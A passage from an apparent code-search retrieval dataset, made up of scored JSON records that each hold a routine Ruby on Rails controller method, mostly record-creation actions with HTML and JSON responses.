'Interrogatory was successfully created.' }\n format.json { render :show, status: :created, location: [@case, @interrogatory] }\n else\n format.html { render :new }\n format.json { render json: @interrogatory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d246ca09a8142a0ba3a7879357b5954", "score": "0.5569953", "text": "def create\n @individu = Individu.new(params[:individu])\n\n respond_to do |format|\n if @individu.save\n format.html { redirect_to @individu, notice: 'Individu was successfully created.' }\n format.json { render json: @individu, status: :created, location: @individu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @individu.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bbab26e63e85e84b83a074fa0362694b", "score": "0.5563777", "text": "def create\n @interior = Interior.new(interior_params)\n\n respond_to do |format|\n if @interior.save\n format.html { redirect_to @interior, notice: 'Interior was successfully created.' }\n format.json { render action: 'show', status: :created, location: @interior }\n else\n format.html { render action: 'new' }\n format.json { render json: @interior.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "660733276d25492a55236ddab1cb84ba", "score": "0.55437994", "text": "def create\n @interviewee = Interviewee.new(params[:interviewee])\n @nav_active = 'new'\n respond_to do |format|\n if @interviewee.save\n format.html { redirect_to @interviewee, notice: 'Interviewee was successfully created.' }\n format.json { render json: @interviewee, status: :created, location: @interviewee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interviewee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0db51b33aaeda92a796ae1997674ab1", "score": "0.5492036", "text": "def create\n @after_intership = AfterIntership.new(params[:after_intership])\n\n respond_to do |format|\n if @after_intership.save\n format.html { redirect_to @after_intership, notice: 'After intership was successfully created.' }\n format.json { render json: @after_intership, status: :created, location: @after_intership }\n else\n format.html { render action: \"new\" }\n format.json { render json: @after_intership.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06b3f15423fb70245d4ee3d347cabcfe", "score": "0.5491292", "text": "def create\n @inspiration = current_user.inspirations.new(params[:inspiration])\n\n respond_to do |format|\n if @inspiration.save\n format.html { redirect_to @inspiration, notice: 'Inspiration was successfully created.' }\n format.json { render json: @inspiration, status: :created, location: @inspiration }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inspiration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eba83c73d39f4c2d3e6c65e37c0bd311", "score": "0.54737604", "text": "def create\n @incident_responder = IncidentResponder.new(params[:incident_responder])\n\n respond_to do |format|\n if @incident_responder.save\n format.html { redirect_to @incident_responder, notice: 'Incident responder was successfully created.' }\n format.json { render json: @incident_responder, status: :created, location: @incident_responder }\n else\n format.html { render action: \"new\" }\n format.json { render json: @incident_responder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c73b648da5eecc09f920a1c7dbd02f52", "score": "0.5473236", "text": "def create\n @new_trivium = NewTrivium.new(new_trivium_params)\n http = Net::HTTP.new('localhost', '5000')\n\n request = Net::HTTP::Post.new('/openie', {'Content-Type' => 'application/json'})\n request.body = new_trivium_params.to_json\n\n response = http.request(request)\n @response = JSON.parse(response.body)\n\n http2 = Net::HTTP.new('huwalaumba.mooo.com', '5000')\n request2 = Net::HTTP::Post.new('/article', {'Content-Type' => 'application/json'})\n request2.body = new_trivium_params.to_json\n response2 = http2.request(request2)\n @response2 = JSON.parse(response2.body)\n\n render :index\n end", "title": "" }, { "docid": "740c0313da1757e0ec4ae13109aac780", "score": "0.5457314", "text": "def create\n @interim_attestation = InterimAttestation.new(params[:interim_attestation])\n\n respond_to do |format|\n if @interim_attestation.save\n format.html { redirect_to @interim_attestation, notice: 'Interim attestation was successfully created.' }\n format.json { render json: @interim_attestation, status: :created, location: @interim_attestation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interim_attestation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b6b0b1b95521347a5e03c8d611a294d", "score": "0.5432158", "text": "def create\n @intervencion = Intervencion.new(intervencion_params)\n\n respond_to do |format|\n if @intervencion.save\n format.html { redirect_to @intervencion, notice: 'Intervencion was successfully created.' }\n format.json { render :show, status: :created, location: @intervencion }\n else\n format.html { render :new }\n format.json { render json: @intervencion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4c8d3136c57ff9d3449982dc161ca8e", "score": "0.5422855", "text": "def create\n @interviewer = params[:role] == \"Interviewer\"\n @interview = User.find( session[:user_id] ).findOpenInterview( @interviewer, params[:interview][:expected_time] )\n if @interview\n Pusher['private-interview' + @interview.id.to_s].trigger(\"message\", {\n :user_id => session[:user_id],\n :text => \"Match Found!\"\n })\n respond_to do |format|\n format.html { redirect_to :action => :show, :id => @interview.id, notice: 'Interview was successfully found.' }\n format.json { render json: @interview, status: :created, location: @interview }\n end\n else\n @interview = Interview.new(params[:interview], :identer => nil, :identee => nil )\n if @interviewer\n @interview.identer = session[:user_id]\n else\n @interview.identee = session[:user_id]\n end\n @interview.session_id = OTSDK.createSession( request.ip ).to_s\n @interview.identee_score = 1\n @interview.identer_score = 1\n respond_to do |format|\n if @interview.save\n format.html { redirect_to :action => :show, :id => @interview.id, notice: 'Interview was successfully created.' }\n format.json { render json: @interview, status: :created, location: @interview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "5d6fecc8605f7fa98646d3f12b83a17d", "score": "0.5419338", "text": "def create\n c = Voter.new(name: params[:name], party: params[:party], token: ApiKey.create.token)\n if c.save\n render json: c\n else\n render json: c.errors\n end\n end", "title": "" }, { "docid": "e859e94a8f5e84a707727d9064370f3c", "score": "0.540526", "text": "def create\n @insurer = Insurer.new(insurer_params)\n\n respond_to do |format|\n if @insurer.save\n format.html { redirect_to location_insurers_path, notice: \"Seguradora (#{@insurer.name}) foi cadastrada com sucesso\"}\n format.json { render :index, status: :created, Location: location_insurers_path }\n else\n format.html { render :new }\n format.json { render json: @ginsurer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58eb2590ce204440c4dc71d793cd2544", "score": "0.5397209", "text": "def create\n @interview = Interview.new(params[:interview])\n @other_interview = OtherInterview.new(params[:other_interview])\n @other_interview.interview = @interview\n\n respond_to do |format|\n if @other_interview.save\n format.html { redirect_to @other_interview, notice: 'Followup interview was successfully created.' }\n format.json { render json: @other_interview, status: :created, location: @other_interview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @other_interview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0cd4620dbbb107ebd522c048c814d056", "score": "0.5396185", "text": "def create\n @interview = Interview.new(interview_params)\n\n respond_to do |format|\n if @interview.save\n format.html { redirect_to @interview, notice: 'Interview was successfully created.' }\n format.json { render :show, status: :created, location: @interview }\n else\n format.html { render :new }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c2ddce0cf0e2a3425060bf20cc62ddf", "score": "0.5384945", "text": "def create\n @interview = Interview.new(params[:interview])\n\n respond_to do |format|\n if @interview.save\n flash[:success] = \"Опросной лист успешно добавлен.\"\n format.html { redirect_to @interview }\n format.json { render json: @interview, status: :created, location: @interview }\n else\n flash.now[:error] = \"Введены неверные данные!\"\n format.html { render action: \"new\" }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71be67f91131e21407c8370fb21e01c", "score": "0.5377947", "text": "def create\n @interaction = Interaction.new(interaction_params)\n\n respond_to do |format|\n @interaction.user = current_user\n @simbolos = Simbol.all\n if @interaction.save\n format.html { redirect_to @interaction, notice: 'Interaction was successfully created.' }\n format.json { render :show, status: :created, location: @interaction }\n else\n format.html { render :new }\n format.json { render json: @interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77753cd97aeb5423c4a52cb598188003", "score": "0.5367788", "text": "def create\n @intuitor = Intuitor.new(intuitor_params)\n\n respond_to do |format|\n if @intuitor.save\n format.html { redirect_to @intuitor, notice: 'Intuitor was successfully created.' }\n format.json { render :show, status: :created, location: @intuitor }\n else\n format.html { render :new }\n format.json { render json: @intuitor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "988e504abcd31c070c62c40996007a80", "score": "0.5355859", "text": "def create\n @ride = Ride.new(ride_params)\n\n # Get/Create a rider by the uuid (sent under \"rider_id\")\n # This works only if the uuid is strictly numeric\n @rider = Rider.where(:uuid => @ride.rider_id).first\n\n if @rider.nil?\n @rider = Rider.new(:uuid => @ride.rider_id)\n @rider.save\n end\n\n @ride.rider_id = @rider.id\n\n respond_to do |format|\n if @ride.save\n format.html { redirect_to @ride, notice: 'Ride was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ride }\n else\n format.html { render action: 'new' }\n format.json { render json: @ride.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a856a960ab85e8fa6c58b2d8c234149", "score": "0.53514487", "text": "def create\n @prev_levels = params['prev_level_ids']\n @next_levels = params['next_level_ids']\n \n par = door_params.reject { |k,v| k == 'prev_level_ids' || k == 'next_level_ids' }\n nex = @next_levels.to_json\n if(nex == \"null\")\n nex = Array.new\n nex = nex.to_json\n end\n @door = Door.new(door_params)\n @door.next_levels = nex\n \n @door.result = createResultJSON(params)\n @door.requirement = createRequirementJSON(params)\n if(!@door.door_image.attached?)\n @door.door_image.attach(io: File.open(\"app/assets/images/door1.jpg\"), filename: \"door1.jpg\")\n end\n @door.image = @door.door_image.service_url\n if @door.save\n @door.save\n if(!@prev_levels.nil?)\n @prev_levels.each do\n |level| lev = Level.find(level)\n doors = Array.new\n len = lev.doors.to_s.strip.length\n if len > 2\n doors = JSON.parse(lev.doors)\n end\n doors.push(@door.id)\n lev.doors = doors.to_json\n lev.save\n end\n else\n #flash[:fail] = \"You should add some previous levels to the connection\"\n end \n #flash[:success] = \"Great! New door created.\"\n if params[:commit] == 'Finish this door'\n redirect_to leveldashboard_url(@door.game_id)\n else\n redirect_to adddoor_url(@door.game_id)\n end\n else\n redirect_to adddoor_url(@door.game_id)\n end\n end", "title": "" }, { "docid": "e3b3ee71ca2210589929ee945670939e", "score": "0.53403133", "text": "def intervient_params\n params.require(:intervient).permit(:intervenant_id, :intervention_id)\n end", "title": "" }, { "docid": "bf39c382aab7ec1056fb4b7500d27241", "score": "0.53378636", "text": "def create\n @river = River.new(params[:river])\n\n respond_to do |format|\n if @river.save\n format.html { redirect_to @river, notice: 'River was successfully created.' }\n format.json { render json: @river, status: :created, location: @river }\n else\n format.html { render action: \"new\" }\n format.json { render json: @river.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8f3c30b2fd2d7c869a242857cf78d0c", "score": "0.5325507", "text": "def create\n @intermediary = Intermediary.new(intermediary_params)\n\n respond_to do |format|\n if @intermediary.save\n format.html { redirect_to @intermediary, notice: 'Intermediary was successfully created.' }\n format.json { render :show, status: :created, location: @intermediary }\n else\n format.html { render :new }\n format.json { render json: @intermediary.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fda784a3cdf95aac2612398a082f6783", "score": "0.532013", "text": "def create\n @intersection_of = IntersectionOf.new(intersection_of_params)\n\n respond_to do |format|\n if @intersection_of.save\n format.html { redirect_to @intersection_of, notice: 'Intersection of was successfully created.' }\n format.json { render :show, status: :created, location: @intersection_of }\n else\n format.html { render :new }\n format.json { render json: @intersection_of.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56d750fe4b9b7e8b2b894b6e7f32375d", "score": "0.5317389", "text": "def create\n log_interaction_request(params[:interaction].first[:user_id].to_s)\n log_request(\"Insert New Interactions\")\n\n params.permit!\n\n server_time = Time.now.in_time_zone\n phone_time = Time.parse(params[:localtime]).in_time_zone\n\n time_offset = server_time - phone_time\n\n\n if params[:interaction].empty?\n log_request_without_params(\"No Interactions to save\")\n render text: \"No Interactions To Save\" and return\n else\n params[:interaction].each do |interaction|\n @interaction = Interaction.new(interaction)\n\n new_time = Time.parse(@interaction.time) + time_offset\n @interaction.time = new_time.in_time_zone.to_s\n\n if @interaction.save\n @success = true\n log_request_without_params(\"Saved an interaction\")\n print \"Saved Interaction\"\n else\n @success = false\n log_request_without_params(\"Unable to save an interaction\")\n print \"Unable To Save Interaction!\" and return\n end\n end\n end\n\n if @success == true\n log_request_without_params(\"All interactions arrived successfully\")\n render text: \"Data Arrived Successfully\"\n else\n log_request_without_params(\"Unable to save all interactions\")\n render text: \"Unable to save all data\"\n end\n end", "title": "" }, { "docid": "897d3a18487c41c1e15feb6076b66628", "score": "0.53172755", "text": "def create\n @river = River.new(params[:river])\n respond_to do |format|\n if @river.save\n format.html { redirect_to @river, notice: 'River was successfully created.' }\n format.json { render json: @river, status: :created, location: @river }\n else\n format.html { render action: \"new\" }\n format.json { render json: @river.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "5657b6de387a41f4665f178319946a3b", "score": "0.5316248", "text": "def create\n oppurtunity = Oppurtunity.create(opp_params)\n render json: oppurtunity,status: 201\n end", "title": "" }, { "docid": "dd93d3aaf181d93f9bc2a10187695384", "score": "0.53053635", "text": "def create\n @intern = Intern.new(intern_params)\n\n if @intern.save\n render_json_message({:success => t('.success')}, 201, {id: @intern.id})\n else\n render_json_message({:errors => @intern.errors.messages}, 422)\n end\n\n end", "title": "" }, { "docid": "c3ec5e9d8fbb326897155384e9e789eb", "score": "0.5304642", "text": "def create\n puts \"RidesController.create\"\n ride = current_user.rides.create!(ride_params)\n ride_id = current_user.rides.last\n @ride = Ride.new(ride_params)\n\n if ride.save\n render json: ride, status: :created\n else\n render json: ride.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "488a1b0d8e6481e75266a2cd1ec93063", "score": "0.53039366", "text": "def create\n \n @interview_response = InterviewResponse.new(params[:interview_response])\n @interview = @interview_response.interview\n\n respond_to do |format|\n if @interview_response.save\n format.html { redirect_to interview_interview_responses_path(:interview_id => @interview.id), notice: 'Interview response was successfully created.' }\n format.json { render json: @interview_response, status: :created, location: @interview_response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interview_response.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2fc40ad59af22074b41820039deb28b1", "score": "0.5292485", "text": "def create\n @interest = Interest.new(interest_params)\n\n respond_to do |format|\n if @interest.save\n format.html { redirect_to @interest, notice: 'Your answers were submitted.' }\n format.json { render :show, status: :created, location: @interest }\n else\n format.html { render :new }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f08083ecbad6a66970441320622aa313", "score": "0.5289389", "text": "def create\n @interact = Interact.new(interact_params)\n\n respond_to do |format|\n if @interact.save\n format.html { redirect_to @interact, notice: 'Interact was successfully created.' }\n format.json { render :show, status: :created, location: @interact }\n else\n format.html { render :new }\n format.json { render json: @interact.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50dbbe9338ede16b4f12eeb5a8013fda", "score": "0.52856296", "text": "def create\n @interview = Interview.new(params[:interview])\n\n @interview.user_id = current_user.id\n @interview.url_hash = get_new_interview_hash\n\n candidate = User.find_or_create(@interview.candidate_email, @interview.candidate_name, 'candidate')\n\n if candidate.nil?\n render action: \"new\"\n return\n end\n\n @interview.candidate_id = candidate.id\n\n respond_to do |format|\n if @interview.save\n\n InviteMailer.delay.invite_interview_email(@interview)\n\n format.html { redirect_to interviews_path, notice: ( t 'interview.created' ) }\n format.json { render json: @interview, status: :created, location: @interview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6435b057cef8168851411f3a1c7c7ae5", "score": "0.52852976", "text": "def create\n @river = River.new(river_params)\n\n respond_to do |format|\n if @river.save\n format.html { redirect_to @river, notice: 'River was successfully created.' }\n format.json { render json: @river, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @river.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "398e364b9099b9f8d9fa6966a491d89f", "score": "0.5283998", "text": "def create\n\n @trip = Trip.new(params[:trip])\n river_name = params[:river][\"name\"]\n river = River.find_by_name(river_name) \n @trip.river_id = river.id\n @trip.save\n \n respond_to do |format|\n if @trip.save\n format.html { redirect_to river_trip_path(@trip.river_id, @trip.id), notice: 'Trip was successfully created.' }\n format.json { render json: river_trip_path(@trip.river_id, @trip.id), status: :created, location: river_trip_path(@trip.river_id, @trip.id)}\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end \n\n end", "title": "" }, { "docid": "a6b8236223ce711a2cab6e5399f9c8f7", "score": "0.5280898", "text": "def create\n @user_interessado = UserInteressado.new(user_interessado_params)\n\n respond_to do |format|\n if @user_interessado.save\n format.html { redirect_to @user_interessado, notice: 'User interessado was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_interessado }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_interessado.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46814b2c76da1d874b066ea4dc282b57", "score": "0.5275801", "text": "def create\n @ride = @user.rides.build(ride_params)\n if @ride.save\n render json: @ride, status: 200\n else\n render json: {message: \"There was an error\"}, status: 400\n end\n render json: @ride\n end", "title": "" }, { "docid": "11c34867c082c54de1c8f802d4559162", "score": "0.52749884", "text": "def create\n user_id = params[:userId]\n matchup_id = params[:matchupId]\n competitor_id = params[:competitorId]\n old_vote = Vote.joins(:competitor_matchup).where(competitor_matchups: {matchup_id: matchup_id}, votes: {user_id: user_id}).first\n return if old_vote.present? && old_vote.competitor.id == competitor_id\n\n old_vote.destroy if old_vote.present?\n comeptitor_matchup = CompetitorMatchup.find_by matchup_id: matchup_id, competitor_id: competitor_id\n vote = Vote.create user_id: user_id, competitor_matchup_id: comeptitor_matchup.id\n\n render json: vote.competitor_matchup.matchup.round.bracket, serializer: CompleteBracketSerializer\n end", "title": "" }, { "docid": "e68ef333075979faa0d4f875455959a5", "score": "0.5274913", "text": "def create\n params[:competitiveness][:question].each do |k, v|\n answer = Answer.new\n answer.user_id = params[:competitiveness][:user_id]\n answer.question_id = k;\n answer.answer = v;\n answer.save\n end\n respond_to do |format|\n format.html { redirect_to answers_path, notice: 'Questionário criado com sucesso.' }\n format.json { render :index, status: :created, location: @answer }\n end\n end", "title": "" }, { "docid": "ee844ebc5b25278bc4e3a433c5342043", "score": "0.5268009", "text": "def create\n @entrepreneur = Entrepreneur.new(params[:entrepreneur])\n\n respond_to do |format|\n if @entrepreneur.save\n format.html { redirect_to @entrepreneur, notice: 'Entrepreneur was successfully created.' }\n format.json { render json: @entrepreneur, status: :created, location: @entrepreneur }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entrepreneur.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01e8d69bf2a74001e04caf2c58de9f76", "score": "0.5260248", "text": "def create\n \n respond_to do |format|\n if @interventions.save\n format.html { redirect_to @intervention, notice: 'Intervention was successfully created.' }\n format.json { render :show, status: :created, location: @intervention }\n else\n format.html { render :new }\n format.json { render json: @intervention.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "180e13caa9269d7678343da419119752", "score": "0.5257733", "text": "def create\n @instrutor = Instrutor.new(instrutor_params)\n\n respond_to do |format|\n if @instrutor.save\n format.html { redirect_to instrutores_path, notice: 'Instrutor was successfully created.' }\n format.json { render :show, status: :created, location: @instrutor }\n else\n format.html { render :new }\n format.json { render json: @instrutor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cac10ac656a978ef262a0cb4c2254556", "score": "0.5253645", "text": "def create\n @instrutor = Instrutor.new(instrutor_params)\n\n respond_to do |format|\n if @instrutor.save\n format.html { redirect_to @instrutor, notice: 'Instrutor was successfully created.' }\n format.json { render :show, status: :created, location: @instrutor }\n else\n format.html { render :new }\n format.json { render json: @instrutor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f4ed8734007619bf1b377d2481486e7", "score": "0.5249785", "text": "def create\n @equipment = Equipment.find(params[:equipment_id])\n @intervention = @equipment.interventions.new(intervention_params)\n\n respond_to do |format|\n if @intervention.save\n format.html { redirect_to equipment_path(@equipment), notice: 'A intervenção foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @intervention }\n else\n format.html { render :new }\n format.json { render json: @intervention.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58240c70dcbc6203177a455834524cd4", "score": "0.5245717", "text": "def create\n #parse tag_ids\n params[:incident][:tag_ids] = params[:incident][:tag_ids].split(\",\");\n @incident = Incident.new(params[:incident])\n @incident.creator_id = current_user.id #set incident creator\n\n respond_to do |format|\n if @incident.save\n format.html { redirect_to @incident, notice: 'Incident was successfully created.' }\n format.json { render json: @incident, status: :created, location: @incident }\n \n else\n format.html { render action: \"new\" }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5bf0e465556f9c4b87ad19ee43ad0d8", "score": "0.52381265", "text": "def create\n @incident_investigator = IncidentInvestigator.new(params[:incident_investigator])\n\n respond_to do |format|\n if @incident_investigator.save\n format.html { redirect_to @incident_investigator, notice: 'Incident investigator was successfully created.' }\n format.json { render json: @incident_investigator, status: :created, location: @incident_investigator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @incident_investigator.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f8190e3af0181bdc1ba2ac8b958c866", "score": "0.5236234", "text": "def create\n @interest = Interest.new(interest_params)\n\n respond_to do |format|\n if @interest.save\n format.html { redirect_to @interest, notice: 'Interest was successfully created.' }\n format.json { render :show, status: :created, location: @interest }\n else\n format.html { render :new }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f8190e3af0181bdc1ba2ac8b958c866", "score": "0.5236234", "text": "def create\n @interest = Interest.new(interest_params)\n\n respond_to do |format|\n if @interest.save\n format.html { redirect_to @interest, notice: 'Interest was successfully created.' }\n format.json { render :show, status: :created, location: @interest }\n else\n format.html { render :new }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b948bd6946129f15f33d30d88533bc1", "score": "0.5220602", "text": "def create\n @interaction_entity = InteractionEntity.new(params[:interaction_entity])\n\n respond_to do |format|\n if @interaction_entity.save\n format.html { redirect_to @interaction_entity, notice: 'Interaction entity was successfully created.' }\n format.json { render json: @interaction_entity, status: :created, location: @interaction_entity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interaction_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43c080c9cf4e2568072dcce01f080165", "score": "0.5211224", "text": "def writeInteraction(dict)\n api = getAPI(:interactions, :POST)\n v = @nr.simpleAPI(api, jdict:dict)\n return v['id']\n end", "title": "" }, { "docid": "2c028e3b12faa9824ebdb93a6ba30c61", "score": "0.52100945", "text": "def create\n @interjection = Interjection.new(interjection_params)\n\n respond_to do |format|\n if @interjection.save\n format.html { redirect_to @interjection, notice: 'Interjection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @interjection }\n else\n format.html { render action: 'new' }\n format.json { render json: @interjection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b559964fad4d844c165ecfcea8918948", "score": "0.52082944", "text": "def create\n @team = Team.find(params[:team_id])\n @injury = Injury.new(params[:injury])\n @injury.active = true\n\n respond_to do |format|\n if @injury.save\n format.html { redirect_to club_team_injuries_path(@team.club, @team), notice: 'Injury was successfully created.' }\n format.json { render json: @injury, status: :created, location: @injury }\n else\n format.html { render action: \"new\" }\n format.json { render json: @injury.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a3dddea52bb225c38e91ed1beedf2bc", "score": "0.52068096", "text": "def create\n @indoor_activity = IndoorActivity.new(indoor_activity_params)\n\n respond_to do |format|\n if @indoor_activity.save\n format.html { redirect_to @indoor_activity, notice: 'Indoor activity was successfully created.' }\n format.json { render :show, status: :created, location: @indoor_activity }\n else\n format.html { render :new }\n format.json { render json: @indoor_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93680ae5da4c6a8e2cbed90ff2f61ceb", "score": "0.5203877", "text": "def create\n\n if params[:responder][:id]\n render json: {message: \"found unpermitted parameter: id\"}, status: :unprocessable_entity\n return\n elsif params[:responder][:on_duty]\n render json: {message: \"found unpermitted parameter: on_duty\"}, status: :unprocessable_entity\n return\n elsif params[:responder][:emergency_code]\n render json: {message: \"found unpermitted parameter: emergency_code\"}, status: :unprocessable_entity\n return\n end\n\n\n @responder = Responder.new(responder_params)\n\n respond_to do |format|\n if @responder.save\n format.json { render :show, status: :created }\n else\n format.json { render json: {message:@responder.errors} , status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8e174bf7959d00f650adaa153070000", "score": "0.5199335", "text": "def index\n\n @interviewees = Interviewee.all\n\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interviewees }\n end\n end", "title": "" }, { "docid": "6061e8472cbd0dc5b0042e87cbf4fb4f", "score": "0.51931316", "text": "def create\n\t\t@ride = current_user.rides.new(params[:ride])\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @ride.save\n\t\t\t\tformat.html { redirect_to [current_user, @ride], notice: 'Your request for a ride has been submitted. Good luck!' }\n \tformat.json { render json: [current_user, @ride], status: :created, location: [current_user, @ride] }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @ride.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\n\tend", "title": "" }, { "docid": "211ad871a7bc280b2bff573c1476b559", "score": "0.5193063", "text": "def create\n @river = River.new(river_params)\n\n respond_to do |format|\n if @river.save\n format.html { redirect_to @river, notice: 'River was successfully created.' }\n format.json { render action: 'show', status: :created, location: @river }\n else\n format.html { render action: 'new' }\n format.json { render json: @river.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba67ff27f26d50497dc4b47f89639f8f", "score": "0.5191022", "text": "def create\n @interview = Interview.new(interview_params)\n if @interview.save\n @interview.requested!\n if @presence == 'Interviewee'\n @interview.assign_interviewee(current_user.id)\n else\n @interview.assign_interviewer(current_user.id)\n end\n flash[:success] = \"Interview has been requested!\"\n redirect_to @interview\n else\n flash[:alert] = \"Unable to complete interview request, Please check parameters\"\n render :new\n end\n end", "title": "" }, { "docid": "41413da67c4925fcf815138d84919297", "score": "0.5188245", "text": "def create\n intern = Intern.new(intern_params)\n\n if intern.save\n render json: InternSerializer.new(intern).serialized_json\n else\n render json: { error: intern.errors.messages }, status: 422 \n end\n end", "title": "" }, { "docid": "f8bf60bc45063d45deed0186101156df", "score": "0.5186505", "text": "def create\n @rock_party = RockParty.new(params[:rock_party].merge(user: current_user))\n\n # Add attendees to rock party\n if params[:attendees]\n params[:attendees].each do |user_id|\n user = User.find(user_id)\n @rock_party.users << user\n end\n end\n\n respond_to do |format|\n if @rock_party.save\n format.html { redirect_to @rock_party, notice: 'Rock party was successfully created.' }\n format.json { render json: @rock_party, status: :created, location: @rock_party }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rock_party.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac960c8acae6cd5f5aabaa00dbe262c2", "score": "0.5183219", "text": "def create\n @initiative = @board.initiatives.build(initiative_params)\n\n respond_to do |format|\n if @initiative.save\n format.html { redirect_to board_url(@board), notice: @initiative.name + ' Initiative was successfully created.' }\n format.json { render :show, status: :created, location: @initiative }\n else\n format.html { render :new }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44c6d0476bdfb02ed984460b71d4a3e8", "score": "0.5180585", "text": "def create\n\n # render json: params\n # render json: ActiveSupport::JSON.decode(params['involvement'])\n\n if ActiveSupport::JSON.decode(params['involvement']).blank? \n redirect_to request.referer, notice: 'Hey, you have to add people involved in your startup!'\n else\n \n @startup = Startup.new(startup_params)\n @startup.user_id = current_user.id\n\n respond_to do |format|\n if @startup.save\n # team = params['involvement'].split(',')\n team = ActiveSupport::JSON.decode(params['involvement'])\n team.uniq.each do |co|\n if !co.blank?\n Involvement.create! startup_id:@startup.id, user_id:co \n end\n end\n format.html { redirect_to @startup, notice: 'Startup was successfully created.' }\n format.json { render action: 'show', status: :created, location: @startup }\n else\n format.html { render action: 'new' }\n format.json { render json: @startup.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "98235680249e1ecad5ef16a44bf6ebfe", "score": "0.51767534", "text": "def create\n invention.save\n respond_with invention\n end", "title": "" }, { "docid": "511304ba276cb623e399a4ffc0da558d", "score": "0.5163823", "text": "def create\n @intersectionneighbor = Intersectionneighbor.new(intersectionneighbor_params)\n\n respond_to do |format|\n if @intersectionneighbor.save\n format.html { redirect_to @intersectionneighbor, notice: 'Intersectionneighbor was successfully created.' }\n format.json { render :show, status: :created, location: @intersectionneighbor }\n else\n format.html { render :new }\n format.json { render json: @intersectionneighbor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d336604f87e5a0538e44ff70829e5f5d", "score": "0.51575243", "text": "def new\n @interior = Interior.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interior }\n end\n end", "title": "" }, { "docid": "6da59822809697df805e56dab54c2531", "score": "0.51561093", "text": "def create\n encounter_id, obs_archetypes = params.require %i[encounter_id observations]\n\n encounter = Encounter.find(encounter_id)\n\n observations = 